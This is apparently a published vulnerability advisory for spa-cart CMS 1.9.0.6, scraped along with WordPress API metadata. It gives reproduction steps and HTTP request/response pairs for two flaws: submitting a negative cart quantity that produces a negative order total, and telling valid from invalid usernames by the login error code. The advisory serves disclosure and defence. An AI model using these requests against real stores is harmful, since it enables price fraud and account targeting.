# Exploit Title: Business Logic Flaw and Username Enumeration in
spa-cartcmsv1.9.0.6
# Date: 6\/2024
# Exploit Author: Andrey Stoykov
# Version: 1.9.0.6
# Tested on: Ubuntu 22.04
# Blog:
https:\/\/msecureltd.blogspot.com\/2024\/04\/friday-fun-pentest-series-5-spa.html
<http:\/\/msecureltd.blogspot.com\/><\/p>\n
Description<\/p>\n
– It was found that the application suffers from business logic flaw<\/p>\n
– Additionally the application is vulnerable to username enumeration on the
login page<\/p>\n
Logic Flaw<\/p>\n
Steps to Reproduce:<\/p>\n
1. Checkout page and intercept HTTP POST request
2. Add minus quantity such as -10
3. The final price would come up as negative value<\/p>\n
\/\/ HTTP POST request modifying the quantity to negative value<\/p>\n
POST \/cart\/add HTTP\/2
Host: demo.spa-cart.com
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36
(KHTML, like Gecko) Chrome\/123.0.6312.122
[…]\n
productid=225&amount=-10<\/p>\n
\/\/ HTTP response<\/p>\n
HTTP\/2 200 OK
Server: nginx
[…]\n[…]<img src=”https:\/\/demo.spa-cart.com\/var\/photo\/product\/234×200\/225\/695\/1.jpg”
alt=”” \/><b>Five And Two Jewelry Piper Gold-Plated Earrings<\/b> added to
cart
<br \/><br \/>
<strong class=”added_price”>Price: <span><span
class=”currency”>$<\/span>59.00<\/span><\/strong>
<div class=”added_options”>
<b>Selected options:<\/b>
Qty: 1<br \/>
Color: silver gold<br \/>
<\/div>
[…]\n
\/\/ HTTP GET request to checkout<\/p>\n
GET \/checkout HTTP\/2
Host: demo.spa-cart.com
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36
(KHTML, like Gecko) Chrome\/123.0.6312.122
[…]\n
\/\/ HTTP response showing negative amount owned<\/p>\n
HTTP\/2 200 OK
Server: nginx
[…]\n[…]\\t<td>silver gold<\\\/td>\\r\\n<\\\/tr>\\r\\n<\\\/table>\\r\\n <\\\/td>\\r\\n <td
class=\\”line\\” nowrap align=\\”right\\”>\\r\\n<span
class=\\”currency\\”>$<\\\/span>59.00 x -10 =
<span class=\\”currency\\”>$<\\\/span>-590.00 <\\\/td>
[…]\n
Username Enumeration:<\/p>\n
Steps to Reproduce:<\/p>\n
1. Register account
2. Enter valid account with wrong password
3. Trap HTTP request
4. Check that response for valid username has “P” message
5. Enter invalid account with wrong password
6. Check that response for invalid username has “E” message<\/p>\n
\/\/ HTTP POST request with valid username and wrong password<\/p>\n
POST \/login HTTP\/2
Host: demo.spa-cart.com
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36
(KHTML, like Gecko) Chrome\/123.0.6312.122 Safari\/537.36
[…]\n
email=test%40test.test&password=test123<\/p>\n
\/\/ HTTP response showing “P” error message<\/p>\n
HTTP\/2 200 OK
Server: nginx
[…]\n
P<\/p>\n
\/\/ HTTP POST request with invalid username and wrong password<\/p>\n
POST \/login HTTP\/2
Host: demo.spa-cart.com
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36
(KHTML, like Gecko) Chrome\/123.0.6312.122 Safari\/537.36
[…]\n
email=test%40test.t3st&password=test123<\/p>\n
\/\/ HTTP response showing “E” error message<\/p>\n
HTTP\/2 200 OK
Server: nginx
[…]\n
E<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Business Logic Flaw and Username Enumeration inspa-cartcmsv1.9.0.6# Date: 6\/2024# Exploit Author: Andrey Stoykov# Version: 1.9.0.6# Tested on: Ubuntu 22.04# Blog:https:\/\/msecureltd.blogspot.com\/2024\/04\/friday-fun-pentest-series-5-spa.html<http:\/\/msecureltd.blogspot.com\/> Description – It was found that the application suffers from business logic flaw – Additionally the application is vulnerable to username enumeration on thelogin page Logic Flaw Steps to Reproduce: 1. Checkout …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57520","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57520","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57520"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57520\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57520"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57520"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57520"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}